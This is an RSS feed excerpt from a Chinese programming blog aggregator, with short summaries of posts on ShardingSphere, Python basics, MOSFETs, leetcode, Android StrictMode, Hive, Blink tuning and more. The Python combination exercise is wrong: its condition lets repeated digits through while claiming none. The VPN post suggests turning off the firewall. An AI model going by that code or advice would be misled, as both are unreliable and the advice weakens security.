      <link>https://bchobby.github.io/posts/4f2673d646eae1d0c9258d625497684f/</link>
      <pubDate>Mon, 06 Jan 2020 23:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f2673d646eae1d0c9258d625497684f/</guid>
      <description>一、基础信息 maven依赖：&#xA;&amp;lt;groupId&amp;gt;org.apache.shardingsphere&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;sharding-jdbc-spring-namespace&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.0.0-RC3&amp;lt;/version&amp;gt; 二、原理 流程图：&#xA;在MasterSlaveRouter的route方法中实现的读写分离：&#xA;@RequiredArgsConstructor public final class MasterSlaveRouter { private final MasterSlaveRule masterSlaveRule; private final SQLParseEngine parseEngine; private final boolean showSQL; /** * Route Master slave. * * @param sql SQL * @param useCache use cache or not * @return data source names */ // TODO for multiple masters may return more than one data source public Collection&amp;lt;String&amp;gt; route(final String sql, final boolean useCache) { Collection&amp;lt;String&amp;gt; result = route(parseEngine.</description>
    </item>
    <item>
      <title>Python基础入门练习题之计算数字组合</title>
      <link>https://bchobby.github.io/posts/8c205c1182c2d60c0f33f1aca84ba07e/</link>
      <pubDate>Mon, 06 Jan 2020 21:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c205c1182c2d60c0f33f1aca84ba07e/</guid>
      <description>若有四个数字：1、2、3、4，能组成多少个互不相同且无重复数字的三位数？各是多少？&#xA;程序分析 遍历全部可能，把有重复的剃掉。&#xA;代码：&#xA;**&#xA;toal =0 for i in range(1,5): for j in range(1,5): for k in range(1,5): if i!=j!=k: toal+=1 print(&#34;%d%d%d&#34;%(i,j,k)) print(&#34;共有%d 个不重复的三位数字&#34;%toal) **&#xA;演示结果：&#xA;121 123 124 131 132 134 141 142 143 212 213 214 231 232 234 241 242 243 312 313 314 321 323 324 341 342 343 412 413 414 421 423 424 431 432 434 共有36 个不重复的三位数字</description>
    </item>
    <item>
      <title>MOS管开通过程和关断过程和简单恒流源电路解释</title>
      <link>https://bchobby.github.io/posts/3e695f5be5ae5d87971b7df5cf614aa2/</link>
      <pubDate>Mon, 06 Jan 2020 19:42:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e695f5be5ae5d87971b7df5cf614aa2/</guid>
      <description>最近在做恒流源电路，也没有设计，直接抄的论文的电路。。。&#xA;咋说呢，电路本身分析不难，有负反馈，虚短虚断直接用很容易得出激光的电流&#xA;i=Vin/R4&#xA;但是呢，我之前一直搞不懂它是怎么达到稳态的，就是说负反馈是如何作用使得电路稳定，因为我之前一直任务MOS管只要栅源电压超过阈值，ids的电流就直接由Vgs决定，那样mos管一开始就饱和了呀。。。后来才发现mos管是有开通和关断时间的。&#xA;所谓开通时间，由两部分组成：延迟时间td(on)和上升时间tr,关断时间类似：延迟时间和下降时间&#xA;开通时间是指，当栅源间加电压，由于栅极电容的存在需要一个充电的过程才能达到栅源的开启电压，这也是td(on)的时间，然后MOS管就导通了，注意，这时候ids的电流并不是突变的，是缓慢上升的，当ids上升到稳态的时间记作tr上升时间。&#xA;关断时间类似，因为电容需要放电，且同样电流需要下降的过程。&#xA;这也就解释了为何第一幅图的恒流源电路成立，因为mos管开启时，并不会说反向输入端此时无输入会达到饱和，电流是一个缓慢上升的作用，此时负反馈就可以引用到反相输入端达到控制电流的作用。</description>
    </item>
    <item>
      <title>Python教程之利用函数完成四则运算</title>
      <link>https://bchobby.github.io/posts/774db8cadc1531d2831646c6ac797556/</link>
      <pubDate>Sun, 05 Jan 2020 17:05:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/774db8cadc1531d2831646c6ac797556/</guid>
      <description>在python中函数的功能非常的强大，现在演示一下如何在函数内完成两个数的运算操作。&#xA;演示一：两个固定数字的相加&#xA;def sum_num():&#xA;“”&#34;“实现两个数字的相加”&#34;&#34;&#xA;num1=10&#xA;num2=20&#xA;result=num1+num2&#xA;print(&#34;%d +%d = %d&#34;%(num1,num2,result))&#xA;sum_num()&#xA;运行结果：&#xA;演示二：运用函数传递实现将实参传递给形参完成数字相加&#xA;def sum_num(num1,num2):&#xA;“”&#34;“实现实参传递给形参完成两个数字的相加”&#34;&#34;&#xA;result=num1+num2&#xA;print(&#34;%d +%d = %d&#34;%(num1,num2,result))&#xA;sum_num(99,1111)</description>
    </item>
    <item>
      <title>vmware vSphere 7 Candidate候选版本</title>
      <link>https://bchobby.github.io/posts/2df81e822759f368c28c43baaf6f2d19/</link>
      <pubDate>Sat, 04 Jan 2020 22:53:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2df81e822759f368c28c43baaf6f2d19/</guid>
      <description>像个爷们一样活着 发布于2019-11-19 11:10:12 阅读数 159 收藏&#xA;https://blog.csdn.net/techgroup/article/details/103138186&#xA;https://en.llycloud.com/archives/2507&#xA;展开&#xA;vmware vSphere 7 Candidate候选版本&#xA;仅供爱好者测试，请千万不要在生产环境上使用。如果想在生产环境使用，建议至少等个2年，等正式版出来+补丁稳定后再用。&#xA;https://www.altaro.com/vmware/vsphere-7/&#xA;新特性: 更安全，淘汰Flash客户端，混合云，集成容器&#xA;VMware vSphere Hypervisor (ESXi 7 ISO) image&#xA;http://dl1.technet24.ir/Downloads/Software/VMware/vCenter/7/VMware-VMvisor-Installer-7.0.0-14896552.x86_64.iso&#xA;VMware vSphere Hypervisor (ESXi 7) Offline Bundle&#xA;http://dl1.technet24.ir/Downloads/Software/VMware/vCenter/7/VMware-ESXi-7.0.0-14896552-depot.zip&#xA;VMware vSphere Server 7 Appliance&#xA;http://dl1.technet24.ir/Downloads/Software/VMware/vCenter/7/VMware-VCSA-all-7.0.0-14896550.iso&#xA;vSphere Trust Authority PowerCLI&#xA;http://dl1.technet24.ir/Downloads/Software/VMware/vCenter/7/vSphere-Trust-Authority-PowerCLI.zip&#xA;VMware VirtualSAN Witness 7&#xA;http://dl1.technet24.ir/Downloads/Software/VMware/vCenter/7/VMware-VirtualSAN-Witness-7.0.0-14741571.ova&#xA;vib test certs 7.0&#xA;http://dl1.technet24.ir/Downloads/Software/VMware/vCenter/7/vib-test-certs-7.0.0-0.0.14828939.i386.vib、&#xA;VMware vSphere Server 7 Appliance 文件下载&#xA;文件名称：VMware-VCSA-all-7.0.0-14896550.iso 文件大小：6.51G 下载声明：本站文件大多来自于网络，仅供学习和研究使用，不得用于商业用途，如有版权问题，请联系website.manager@mail.llycloud.com！ 下载地址：链接: https://pan.baidu.com/s/1sG8vJvHgm0IQCb7ZTMwl5Q 提取码: itsc VMware vSphere Hypervisor (ESXi 7 ISO) image 文件下载</description>
    </item>
    <item>
      <title>力扣19题删除链表的倒数第N个节点</title>
      <link>https://bchobby.github.io/posts/0ebd877fbd20886596148682d80d8238/</link>
      <pubDate>Sat, 04 Jan 2020 11:40:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ebd877fbd20886596148682d80d8238/</guid>
      <description>问题 给定一个链表，删除链表的倒数第 n 个节点，并且返回链表的头结点。&#xA;示例： 给定一个链表: 1-&amp;gt;2-&amp;gt;3-&amp;gt;4-&amp;gt;5, 和 n = 2. 当删除了倒数第二个节点后，链表变为 1-&amp;gt;2-&amp;gt;3-&amp;gt;5. 说明：&#xA;给定的 n 保证是有效的。&#xA;进阶：&#xA;你能尝试使用一趟扫描实现吗？&#xA;链接：https://leetcode-cn.com/problems/remove-nth-node-from-end-of-list&#xA;解答 双指针法.&#xA;设定一个快指针right, 一个慢指针left. 初始化为head.先让right移动n个节点.再让 left, right 同时移动, 直到right到达右端.删除left 指向的节点. 注意:&#xA;删除节点时得找到left的前一节点, 所以第三步中 循环判断为:right-&amp;gt;next != NULL, 而不是right != NULL.&#xA;当要删除的节点是第一个时,需要单拎出来.&#xA;代码 ListNode* removeNthFromEnd(ListNode* head, int n) { ListNode* left = head, * right = left; for (int i = 0; i &amp;lt; n; i++) right = right-&amp;gt;next; // right 先行一步 if (right == NULL) return head-&amp;gt;next; // 删除第一个节点的情况 while (right-&amp;gt;next !</description>
    </item>
    <item>
      <title>性能优化工具（一）StrictMode使用</title>
      <link>https://bchobby.github.io/posts/c3ffbfdb446d21b4168252693eb82084/</link>
      <pubDate>Fri, 03 Jan 2020 15:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3ffbfdb446d21b4168252693eb82084/</guid>
      <description>一、简介：&#xA;StrictMode类是Android 2.3 （API 9）引入的一个工具类，可以用来帮助开发者发现代码中的一些不规范的问题，以达到提升应用响应能力的目的。举个例子来说，如果开发者在UI线程中进行了网络操作或者文件系统的操作，而这些缓慢的操作会严重影响应用的响应能力，甚至出现ANR对话框。为了在开发中发现这些容易忽略的问题，我们使用StrictMode，系统检测出主线程违例的情况并做出相应的反应，最终帮助开发者优化和改善代码逻辑。&#xA;二、用途：&#xA;使用严格模式，系统检测出主线程违例的情况会做出相应的反应，如日志打印，弹出对话框亦或如日志打印，弹出对话框亦或通过一定的方式暴露给开发者方便优化与改善。&#xA;三、使用：&#xA;private boolean DEV_MODE = true; public void onCreate() { if (DEV_MODE) { StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() .detectCustomSlowCalls() //API等级11，使用StrictMode.noteSlowCode .detectDiskReads() .detectDiskWrites() .detectNetwork() // or .detectAll() for all detectable problems .penaltyDialog() //弹出违规提示对话框 .penaltyLog() //在Logcat 中打印违规异常信息 .penaltyFlashScreen() //API等级11 .build()); StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() .detectLeakedSqlLiteObjects() .detectLeakedClosableObjects() //API等级11 .penaltyLog() .penaltyDeath() .build()); } super.onCreate(); } ThreadPolicy线程策略检测&#xA;线程策略检测的内容有自定义的耗时调用 使用detectCustomSlowCalls()开启磁盘读取操作 使用detectDiskReads()开启磁盘写入操作 使用detectDiskWrites()开启网络操作 使用detectNetwork()开启 VmPolicy虚拟机策略检测&#xA;Activity泄露 使用detectActivityLeaks()开启未关闭的Closable对象泄露 使用detectLeakedClosableObjects()开启泄露的Sqlite对象 使用detectLeakedSqlLiteObjects()开启检测实例数量 使用setClassInstanceLimit()开启 ThreadPolicy 详解&#xA;detectLeakedSqlLiteObjects() 和detectLeakedClosableObjects()的用法类似，只不过是用来检查 SQLiteCursor 或者 其他 SQLite对象是否被正确关闭detectLeakedRegistrationObjects() 用来检查 BroadcastReceiver 或者ServiceConnection 注册类对象是否被正确释放setClassInstanceLimit()，设置某个类的同时处于内存中的实例上限，可以协助检查内存泄露detectLeakedClosableObjects()用于资源没有正确关闭时提醒detectActivityLeaks() 用户检查 Activity 的内存泄露情况detectDiskReads() 和 detectDiskWrites() 是磁盘读写检查noteSlowCall针对执行比较耗时的检查penaltyDeath()，当触发违规条件时，直接Crash掉当前应用程序。penaltyDeathOnNetwork()，当触发网络违规时，Crash掉当前应用程序。penaltyDialog()，触发违规时，显示对违规信息对话框。penaltyFlashScreen()，会造成屏幕闪烁，不过一般的设备可能没有这个功能。penaltyDropBox()，将违规信息记录到 dropbox 系统日志目录中（/data/system/dropbox），你可以通过如下命令进行插件： StrictMode.</description>
    </item>
    <item>
      <title>Google Vision OCR</title>
      <link>https://bchobby.github.io/posts/59ffde8b35c47cf0e19a78ec89483ddf/</link>
      <pubDate>Thu, 02 Jan 2020 16:26:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/59ffde8b35c47cf0e19a78ec89483ddf/</guid>
      <description>Google Vision OCR 爬坑建议 首先安装 Google Vision&#xA;composer require google/cloud-vision 第一次使用的时候真的遇到的问题很多，文档是英文的，自己慢慢摸索的途中不免进行去百度和google搜索&#xA;但是搜索出来的结果却不尽人意，可能是搜索方式不太对哈哈～，其实使用蛮简单，因为是别人现成对轮子，只不过使用对时候坑比较多，&#xA;所以特别列出以下几点。&#xA;身份认证(就这个身份认证我搞了2个小时)$vision-&amp;gt;image($img_path) 图片如果传入url的话会抛出异常 身份认证 进入 https://console.cloud.google.com/ 在列表里面找到api与服务选择凭据，创建凭据，选择服务帐号与密钥进行创建，我选择的格式是json&#xA;这个就是我们需要的凭据，导出以后放进项目&#xA;require &#39;vendor/autoload.php&#39;; use Google\Cloud\Vision\VisionClient; $vision = new VisionClient( [ &#39;keyFile&#39; =&amp;gt; json_decode(file_get_contents($key_path), true) ] ); 到这里身份认证就没有问题了，还有其他的方式，可自行研究，文档太高深，说实话不太喜欢阅读。&#xA;图片导入以及function选择 在google官方提供的文档当中是这样写的demo&#xA;require &#39;vendor/autoload.php&#39;; use Google\Cloud\Vision\VisionClient; $vision = new VisionClient(); // Annotate an image, detecting faces. $image = $vision-&amp;gt;image( fopen(&#39;/data/family_photo.jpg&#39;, &#39;r&#39;), [&#39;faces&#39;] ); $annotation = $vision-&amp;gt;annotate($image); // Determine if the detected faces have headwear.</description>
    </item>
    <item>
      <title>使用scipy.optimize.minimize()时遇到的问题</title>
      <link>https://bchobby.github.io/posts/72e5655c9b6f734cb7e6f164b51bc8e8/</link>
      <pubDate>Thu, 02 Jan 2020 14:33:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72e5655c9b6f734cb7e6f164b51bc8e8/</guid>
      <description>问题1：IndexError: too many indices for array&#xA;答：在网上查阅了一圈后，发现造成这个问题的原因有很多。而我是由于用scipy.optimize.minimize()做优化时，传入的参数x0 = theta的shape为矩阵，而官方要求是向量的形式！（哎，太粗心啦）&#xA;问题2：ValueError: shapes (2,2) and (1,2) not aligned: 2 (dim 1) != 1 (dim 0)&#xA;答：这个问题是在问题1解决之后产生的新问题！疯狂的打印信息后，发现：如果用scipy.optimize.minimize()做优化，梯度函数gradient返回值必须是1维数组的形式，即（n,）。因为梯度的shape必须和参数theta的shape一致。</description>
    </item>
    <item>
      <title>使用windows自带虚拟专用网络客户端L2TP加密方式与服务器建立连接时，提示：无法建立计算机与 ***服务器之间的网络连接</title>
      <link>https://bchobby.github.io/posts/6d8ce8206ee45240087abd189f17a239/</link>
      <pubDate>Wed, 01 Jan 2020 21:46:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d8ce8206ee45240087abd189f17a239/</guid>
      <description>确保服务器L2TP服务启动，并且可以ping通服务器IP&#xA;方式一 直接关闭客户端计算机的本地防火墙&#xA;方式二 使用防火墙管理软件或者系统自带的防火墙管理工具，将红色划线的两条规则启用（只启用L2TP-IN入站规则也可以）</description>
    </item>
    <item>
      <title>python的new构造方法原理</title>
      <link>https://bchobby.github.io/posts/4717fe716039f083ff1ba8e5dda1d742/</link>
      <pubDate>Wed, 01 Jan 2020 17:47:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4717fe716039f083ff1ba8e5dda1d742/</guid>
      <description>python的构造方法和初始化是2个方法，java的构造和初始胡是一个方法</description>
    </item>
    <item>
      <title>Specinker使用教程</title>
      <link>https://bchobby.github.io/posts/e5a3a508dfc3092babe982b2a59cd989/</link>
      <pubDate>Wed, 01 Jan 2020 12:51:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5a3a508dfc3092babe982b2a59cd989/</guid>
      <description>教程视频：https://www.bilibili.com/video/BV13g4y1z7bS 如何下载以及使用spec Spec使用教程&#xA;spec的一些基本操作说明 Spec使用教程&#xA;界面说明： 常见问题 Spec界面混乱？&#xA;比如下面这样的，是因为笔记本开了布局放大，把布局改为100%就能恢复&#xA;Spec的频谱没有反应？&#xA;一般是因为声卡驱动的问题，一般更新一下声卡驱动再重新打开一下就好了，要么是因为电脑声音太小，或者说spec的灵敏度被调得太低&#xA;Spec打开错误文件导致spec不能打开？&#xA;把spec根目录下res文件夹下的currentPath.txt删了就行&#xA;怎么全体拖动？&#xA;键盘按住shitf，拖动蓝点&#xA;怎么旋转同步？&#xA;如果你想让两个频谱的旋转角度和速度都一样，鼠标右键点击控件前面的标签文字，复制，粘贴就行，当然你也可以用记事本打开itk文件，找到旋转角度和速度的值进行修改&#xA;其他问题，可以加QQ群624877791，直接@群主</description>
    </item>
    <item>
      <title>vue中使用vant中TreeSelect 分类选择组件</title>
      <link>https://bchobby.github.io/posts/5ed4e0ffa2c5bd4c45a14df40a9b2a67/</link>
      <pubDate>Tue, 31 Dec 2019 16:07:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ed4e0ffa2c5bd4c45a14df40a9b2a67/</guid>
      <description>在vue中使用vant中TreeSelect的组件&#xA;中文文档：TreeSelect 分类选择&#xA;效果展示：&#xA;//先在你需要的页面中引入，第一个是弹出层,第二个是选择的 import { Popup } from &#34;vant&#34;; import { TreeSelect } from &#34;vant&#34;; 代码部分：&#xA;&amp;lt;van-popup v-model=&#34;policeShow&#34; position=&#34;top&#34; :overlay=&#34;true&#34;&amp;gt; &amp;lt;van-tree-select :items=&#34;items&#34; :active-id.sync=&#34;items.activeId&#34; :main-active-index.sync=&#34;items.activeId&#34; @click-nav=&#34;onNavClick&#34; &amp;gt; &amp;lt;template slot=&#34;content&#34; &amp;gt; &amp;lt;ul class=&#34;right-content&#34;&amp;gt; &amp;lt;li v-for=&#34;(item,index) in policeList&#34; :key=&#34;index&#34; :class=&#34;{active:policeCode==item.policeCode}&#34; @click=&#34;onItemClick(item.policeName,item.policeCode)&#34;&amp;gt; {{item.policeName}} &amp;lt;/li&amp;gt; &amp;lt;/ul&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/van-tree-select&amp;gt; &amp;lt;div class=&#34;btn&#34; @click=&#34;onPoliceClick&#34;&amp;gt;完成&amp;lt;/div&amp;gt; &amp;lt;/van-popup&amp;gt; 现在我来解析我的业务逻辑，希望对你能有帮助： 1.首先:items,是个数组，我们需要给它传个数组过去，用来展示左侧的数据&#xA;//这是我的后台传过来的数据,我将这个数据加到items里面去，左侧的数据将就展示出来了，注意这里是循环的数据，我为了简单这么写了，还有items中的key尽量用text，要不会渲染不上，在picker上面是有个value-key去改变的，这一会儿在下一篇文章中讲 { &#34;code&#34;: 200, &#34;message&#34;: &#34;success&#34;, &#34;data&#34;: [ { &#34;substationCode&#34;: &#34;1101010000&#34;, &#34;substationName&#34;: &#34;东城区分局&#34; }, { &#34;substationCode&#34;: &#34;100002&#34;, &#34;substationName&#34;: &#34;</description>
    </item>
    <item>
      <title>不被spring容器管理的对象的处理</title>
      <link>https://bchobby.github.io/posts/0f1668068d78ce75561b5728faf6f488/</link>
      <pubDate>Tue, 31 Dec 2019 14:51:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f1668068d78ce75561b5728faf6f488/</guid>
      <description>前两天突然接到一个紧急需求，要求写一个tcp接口，定时的获取客户端推送过来的数据，并批量入库。&#xA;由于一开始我用postconstruct注解开启socket服务端，导致本来的tomcat端口未能正常启动，只开启了socket端口，从而也使由schedule标注的注解未能生效，（当时还没意识到是tomcat端口未能正常启动引起的）于是就改用spring-quartz生成的定时任务。&#xA;在写具体业务功能的时候发现，spring-quartz是不受spring 容器管理的，所以在，quartz的定时任务里注入由spring容器管理的对象时，该对象始终为null,于是通过百度发现了common包下的ApplicationContextHelper类，这个类实现了ApplicationContextAware接口，即可以通过应用上下文获取该对象，参考链接为：https://www.jianshu.com/p/1d82ed2a2d20&#xA;代码如下：&#xA;package com.bocom.config; import org.springframework.beans.BeansException; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContextAware; import org.springframework.stereotype.Component; /** * User: panchao * Date: 2019/12/25 * 解决quartz注入bean为null的问题 */ @Component(&#34;springApplicationContext&#34;) public class ApplicationContextHelper implements ApplicationContextAware { @Autowired private static ApplicationContext appCtx; @Override public void setApplicationContext( ApplicationContext applicationContext ) throws BeansException { appCtx = applicationContext; } public static ApplicationContext getApplicationContext(){ return appCtx; } public static &amp;lt;T&amp;gt; T getBean(Class&amp;lt;T&amp;gt; clazz) { return getApplicationContext().getBean(clazz); } public static Object getBean( String beanName ) { return appCtx.</description>
    </item>
    <item>
      <title>走近大数据之Hive进阶（四、Hive的表连接）</title>
      <link>https://bchobby.github.io/posts/8650753d5f3129787692cb34b689fe7c/</link>
      <pubDate>Tue, 31 Dec 2019 14:44:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8650753d5f3129787692cb34b689fe7c/</guid>
      <description> HIVE表连接(转换成mapreduce作业,提交到hadoop上)&#xA;一、Hive等值连接和不等值连接&#xA;等值连接(连接条件中为等号):&#xA;select e.empno, e.ename,e.sal,d.dname from emp e,dept d where e.deptno=d.deptno; 等值连接(条件中是不等号:&amp;gt;, &amp;lt;, !=):&#xA;between and //含有边界，并且小值在前，大值在后 select e.empno,e.ename,e.sal,s.grade from emp e,salgrade s where e.sal between 2000 and 8000; 二、Hive外连接&#xA;外连接: (在select语句中，所有没有包含在聚合函数中的列,都必须要出现在grouop by 子句的后面)&#xA;外连接(左外连接，右外连接)&#xA;左外连接(当我们的连接条件不成立时，连接条件的左边的表依然可以包含在结果中)&#xA;右外连接(当我们的连接条件不成立时，连接条件的右边的表依然可以包含在结果中)&#xA;//右外接 select d.deptno,d.dname,count(e.empno) from emp e right outer jion dept d on (e.deptno=d.deptno) group by d.deptno, d.dname; 三、Hive的表连接&#xA;自连接(自己和自己连接)&#xA;(自连接的核心:通过表的别名将一张表视为多张表)&#xA;select e.ename,b.ename from emp e,emp b where e.mgr=b.empno;//mgr是员工上级领导的编号，empno是员工的编号（都是公司员工） </description>
    </item>
    <item>
      <title>吴恩达|如何理解神经网络误差反向传播算法</title>
      <link>https://bchobby.github.io/posts/1f51d7cd174bb00b81109547d5dd29ce/</link>
      <pubDate>Tue, 31 Dec 2019 12:11:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f51d7cd174bb00b81109547d5dd29ce/</guid>
      <description>在吴恩达《机器学习》的教学视频中，讲神经网络反向传播章节时，神经单元误差是直接给出的推导式，第一反应是这玩意儿怎么来的？有什么用？&#xA;在网上看了些相关文章后，还是理解的不透彻，之后看了《深度学习的数学》这本书的描述后才测底明白，在此总结一下。&#xA;首先，明确一点，神经单元误差与平方误差虽然都是表达“误差”的意思，但是它们的含义却完全不一样。&#xA;问题1：为什么要引入误差反向传播算法？用“梯度下降算法”中 ∂ J ( θ ) ∂ w j i l \frac{\partial J(\theta)}{\partial w_{ji}^{l}} ∂wjil​∂J(θ)​直接计算偏导项来更新参数不行吗？&#xA;答：可以利用“梯度下降法”中直接计算偏导数的形式来更新神经网络的每个参数，但是，在神经网络中，偏导数的计算量十分巨大且复杂。因此，才引入了误差反向传播算法。误差反向传播算法的特点是将繁杂的导数计算替换为数列的递推关系式，而提供这些递推关系式的就是名为神经单元误差的变量 δ j l \delta_{j}^{l} δjl​。&#xA;问题2：神经单元误差是怎么推导出来的？含义是什么？&#xA;答：《深度学习的数学》中是直接先给出了神经单元误差的定义：&#xA;δ j l = ∂ J ( θ ) ∂ z j l ( l = 2 , 3 , . . . ) \delta _{j}^{l}=\frac{\partial J(\theta)}{\partial z_{j}^{l}}(l = 2,3,...) δjl​=∂zjl​∂J(θ)​(l=2,3,...)&#xA;然后，用 δ j l \delta_{j}^{l} δjl​表示平方误差关于权重的偏导数（具体过程可以参考该书的电子版第142页），得到一般公式：&#xA;∂ J ( θ ) ∂ w j i l = δ j l a i l − 1 ( l = 2 , 3 , .</description>
    </item>
    <item>
      <title>VS（visual studio）C&#43;&#43; console项目目录和其属性（送给小小白白），看懂VS目录。</title>
      <link>https://bchobby.github.io/posts/a86fa1bdf80a14253bedb1a207cd89c3/</link>
      <pubDate>Mon, 30 Dec 2019 23:32:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a86fa1bdf80a14253bedb1a207cd89c3/</guid>
      <description>1.解决方案与项目： 你在VS新建的东西，在vs里面不叫作“项目”，叫做“解决方案（solution）”。一个解决方案（solution）里面可以有多个项目（project）。&#xA;2.解决方案目录： 如果你这个解决方案有很多项目，那么你就不止一个项目文件，应当有多个项目文件。&#xA;一个项目文件里面也是和解决方案相似的结构，也有debug等输出目录，因为一个项目可以被单独编译。&#xA;在最外面的debug目录是存放整个解决方案一起编译出来的exe等的文件。&#xA;一个项目的目录：&#xA;所以，虽然你在右侧资源管理器里看到文件被分开的很好，但实际上vs就是堆在了一起。&#xA;3.解决方案的属性和项目的属性： 每个项目有自己项目的属性，整个解决方案也有自己的属性。&#xA;4.单个项目属性的宏值： 下面讨论单个项目的属性。右击打开后，你发现许多宏值。&#xA;上图中，&#xA;“输出目录” 意思你生成exe等等文件的目录，本身对应的宏是$(Outdir）；&#xA;“中间目录” 意思是单个项目的输出目录（里面只放链接文件等），本身对应的宏是$(IntDir)；&#xA;“调试”选项中的“工作目录” 意思是 consoleC++的黑框框运行后的默认的目录，如果它是空的，那默认是项目结构文件（.sln文件）所在的地方，提醒一句，如果你用的simulation模式，那么显然你的工作目录要调成OutDir。&#xA;$(SolutionDir) 顾名思义，就是解决方案目录，也就是.sln那个架构文件所在的目录&#xA;$(Configuration)是你运行、调试那一栏的配置名，如图：&#xA;你这里点了什么，configuration的名字就是什么，有release、debug、simulation等。&#xA;$(OutDir)，顾名思义，就是输出目录。注意，在上面的图中，你的输出目录已经有值了，就是$(SolutionDir)$(Configuration)。&#xA;$(IntDir)，就是中间目录（或者翻译成内部目录）。注意，在上面的图中，你的中间目录已经有值了，就是$(Configuration)。&#xA;$(TargetDir) 意思是解决方案生成的那个exe所在的目录。&#xA;5.目录和属性相互对应一下 你所有的单个项目的exe等文件，集合成一个，放到了解决方案目录的debug（当然或者是release、simulation等）下面——符合$(OutDir)=$(SolutionDir)$(Configuration)；&#xA;你单个项目的链接文件（.obj文件）、log文件等，都在你单个项目的debug里面——符合$(IntDir)=$(Configuration)；</description>
    </item>
    <item>
      <title>一个 Blink 小白的成长之路</title>
      <link>https://bchobby.github.io/posts/ba9d8896a845c3488c4d3c19eed1317c/</link>
      <pubDate>Mon, 30 Dec 2019 11:42:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba9d8896a845c3488c4d3c19eed1317c/</guid>
      <description>写在前面 写过blink sql的同学应该都有体会，明明写的时候就很顺滑，小手一抖，洋洋洒洒三百行代码，一气呵成。结果跑的时候，吞吐量就是上不去。导致数据延迟高，消息严重积压，被业务方疯狂吐槽。这时候，老鸟就会告诉你，同学，该优化优化你的代码了，再丢过来一个链接，然后留下一脸懵逼的你。笔者就是这么过来的，希望本文能帮助到跟我有过同样困惑，现在还一筹莫展的同学。&#xA;背景故事 先说一下相关背景吧，笔者作为一个刚入职阿里的小白，还处在水土不服的阶段，就被临危受命，改造数据大屏。为什么说临危受命呢，首先是此时距双十一仅剩一个月，再者，去年的双十一，这个大屏刚过零点就出现问题，数据一动不动，几个小时后开始恢复，但仍然延迟严重。此前，笔者仅有的实时计算开发经验是storm，用的是stream API，对于blink这种sql式的API完全没接触过。接到这个需求的时候，脑子里是懵的，灵魂三问来了，我是谁？我即将经历什么？我会死得有多惨？不是“此时此刻，非我莫属”的价值观唤醒了我，是老大的一句话，在阿里，不是先让老板给你资源，你再证明你自己，而是你先证明你自己，再用结果赢得资源，一席话如醍醐灌顶。然后就开始了一段有趣的故事～&#xA;压测血案 要找性能问题出在哪儿，最好的方法就是压测。这里默认大家都对节点反压有一定的了解，不了解的请先移步典型的节点反压案例及解法。&#xA;一开始是跟着大部队进行压测的，压测的结果是不通过！！！一起参加压测的有三十多个项目组，就我被点名。双十一演练的初夜，就这样伤心地流走了(╯°□°）╯︵ ┻━┻。西湖的水，全是我的泪啊。不过痛定思痛，我也是通过这次压测终于定位到了瓶颈在哪里。&#xA;瓶颈初现 数据倾斜&#xA;在做单量统计的时候，很多时候都是按商家维度，行业维度在做aggregate，按商家维度，不可避免会出现热点问题。&#xA;hbase写瓶颈&#xA;当时我在调大source分片数，并且也无脑调大了各个算子的资源之后，发现输出RPS还是上不去，sink节点也出现了消息积压。当时就判断，hbase有写瓶颈，这个我是无能为力了。后来的事实证明我错了，hbase的确有写瓶颈，但原因是我们写的姿势不对。至于该换什么姿势，请继续看下去。&#xA;神挡杀神 先来分析一下我们的数据结构(核心字段)&#xA;biz_date, order_code, seller_id, seller_layer, order_status, industry_id&#xA;我们group by的典型场景有&#xA;CREATE VIEW order_day_view AS SELECT industry_id, seller_layer, biz_date, count(distinct order_code) AS salesCount FROM order_view GROUP BY industry_id,seller_id,seller_layer,biz_date ; 总结下来就是，按卖家维度，行业维度什么的，都非常容易出现数据倾斜。&#xA;数据倾斜其实有很多解法，这里我不展开讨论，只讲我们这个案例的解法。&#xA;倾斜的原因，无非就是group by的字段出现了热点，大量的消息都集中在了该字段少数几个取值上。通常的解法是，在消息中选择具备唯一性，或者预估会分布比较均匀的字段。如果这个字段是整型的，可以直接取模(模数一般是节点的并发数)，如果是字符串，可以先进行哈希计算，再取模，得到一个分片地址(本文取名为bucket_id)。在接下来的所有aggregate算子中，都要把他作为group by的key之一。&#xA;在我们这个案例中，我们选择了order_code这个具备唯一性的字段。首先在源头把分片地址算出来，加到消息里面，代码如下：&#xA;SELECT o.biz_date, o.order_code, o.seller_id, o.seller_layer, o.order_status, o.industry_id, o.bucket_id FROM (select *,MOD(hash_code(order_code), 32) AS bucket_id from order_stream) o 然后把这个bucket_id层层传递下去，在每一个需要group by的地方都在后面带上bucket_id，例如：&#xA;CREATE VIEW order_day_view AS SELECT industry_id, seller_layer, biz_date, count(distinct order_code) AS salesCount, bucket_id FROM order_view GROUP BY industry_id,seller_id,seller_layer,biz_date,bucket_id ; 事实上，我一开始想到的是用下面tips里的方法，结果就杵进垃圾堆里了，性能问题是解了，但是计算出来的数据都翻倍了，明显是错的。至于我是怎么发现这个问题，并分析其原因，再换了解法，又是另一段故事了。可以提前预告一下，是踩了blink撤回计算的坑，后面会再出一个专题来讲述这个故事哒～</description>
    </item>
    <item>
      <title>转：解决GitHub下载慢或下载失败问题</title>
